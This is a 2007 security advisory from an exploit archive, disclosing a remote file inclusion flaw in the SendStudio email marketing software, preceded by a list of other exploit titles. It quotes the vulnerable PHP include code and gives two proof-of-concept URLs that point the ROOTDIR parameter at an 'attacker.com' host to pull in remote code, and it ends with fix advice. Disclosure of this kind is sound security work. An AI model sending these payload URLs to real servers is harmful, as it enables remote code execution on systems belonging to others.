477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
100 lines
3.6 KiB
Text
Executable file
100 lines
3.6 KiB
Text
Executable file
____________________ ___ ___ ________
|
|
\_ _____/\_ ___ \ / | \\_____ \
|
|
| __)_ / \ \// ~ \/ | \
|
|
| \\ \___\ Y / | \
|
|
/_______ / \______ /\___|_ /\_______ /
|
|
\/ \/ \/ \/
|
|
|
|
.OR.ID
|
|
ECHO_ADV_66$2007
|
|
|
|
-----------------------------------------------------------------------------------------
|
|
[ECHO_ADV_66$2007] SendStudio <= 2004.14 Remote File Inclusion Vulnerability
|
|
-----------------------------------------------------------------------------------------
|
|
|
|
Author : M.Hasran Addahroni
|
|
Date : Feb, 20th 2007
|
|
Location : Australia, Sydney
|
|
Web : http://advisories.echo.or.id/adv/adv66-K-159-2007.txt
|
|
Critical Lvl : Dangerous
|
|
---------------------------------------------------------------------------
|
|
|
|
Affected software description:
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
|
|
Application : SendStudio
|
|
version : <= 2004.14
|
|
URL : http://www.interspire.com/sendstudio/
|
|
Description :
|
|
|
|
SendStudio is PHP email marketing software that lets you create, send and track an unlimited number of email messages and autoresponders. Over 25,000 people are already using SendStudio to keep in touch with their subscribers.
|
|
|
|
Once installed on your web server you can say goodbye to clunky, outdated desktop applications (such as Outlook) and email your subscribers using SendStudio whenever you like from where ever you like using your favorite web browser.
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
Vulnerability:
|
|
~~~~~~~~~~~~~~
|
|
- Invalid include function at admin/includes/createemails.inc.php :
|
|
|
|
---------------createemails.inc.php--------------------------------------
|
|
<?php
|
|
require_once($ROOTDIR.'admin/functions/general.php');
|
|
|
|
...
|
|
------------------------------------------------------------------
|
|
|
|
- invalid include function at admin/includes/send_emails.inc.php :
|
|
|
|
--------------------send_emails.inc.php--------------------------
|
|
<?php
|
|
|
|
global $ROOTDIR;
|
|
include($ROOTDIR . 'admin/includes/createemails.inc.php');
|
|
...
|
|
|
|
-------------------------------------------------------------------
|
|
|
|
Variables $ROOTDIR are not properly sanitized.
|
|
When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script.
|
|
|
|
|
|
|
|
Poc/Exploit:
|
|
~~~~~~~~~~
|
|
|
|
http://www.target.com/sendstudio/admin/includes/createemails.inc.php?ROOTDIR=http://attacker.com/evil?
|
|
http://www.target.com/sendstudio/admin/includes/send_emails.inc.php?ROOTDIR=http://attacker.com/evil?
|
|
|
|
|
|
Solution:
|
|
~~~~~~~
|
|
|
|
- Sanitize variable $ROOTDIR on affected files.
|
|
- Turn off register_globals
|
|
- use the lates version
|
|
|
|
Notification :
|
|
~~~~~~~~~~
|
|
vendor was contacted
|
|
|
|
---------------------------------------------------------------------------
|
|
Shoutz:
|
|
~~~~~
|
|
~ ping - my dearest wife, and my little son, for all the luv the tears n the breath
|
|
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative, str0ke (for the best comments)
|
|
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
|
|
~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua, stev_manado, nofry, x16
|
|
~ newbie_hacker@yahoogroups.com
|
|
~ #aikmel #e-c-h-o @irc.dal.net
|
|
|
|
---------------------------------------------------------------------------
|
|
Contact:
|
|
~~~~~~
|
|
|
|
K-159 || echo|staff || eufrato[at]gmail[dot]com
|
|
Homepage: http://k-159.echo.or.id/
|
|
|
|
-------------------------------- [ EOF ] ----------------------------------
|
|
|
|
# milw0rm.com [2007-02-20]
|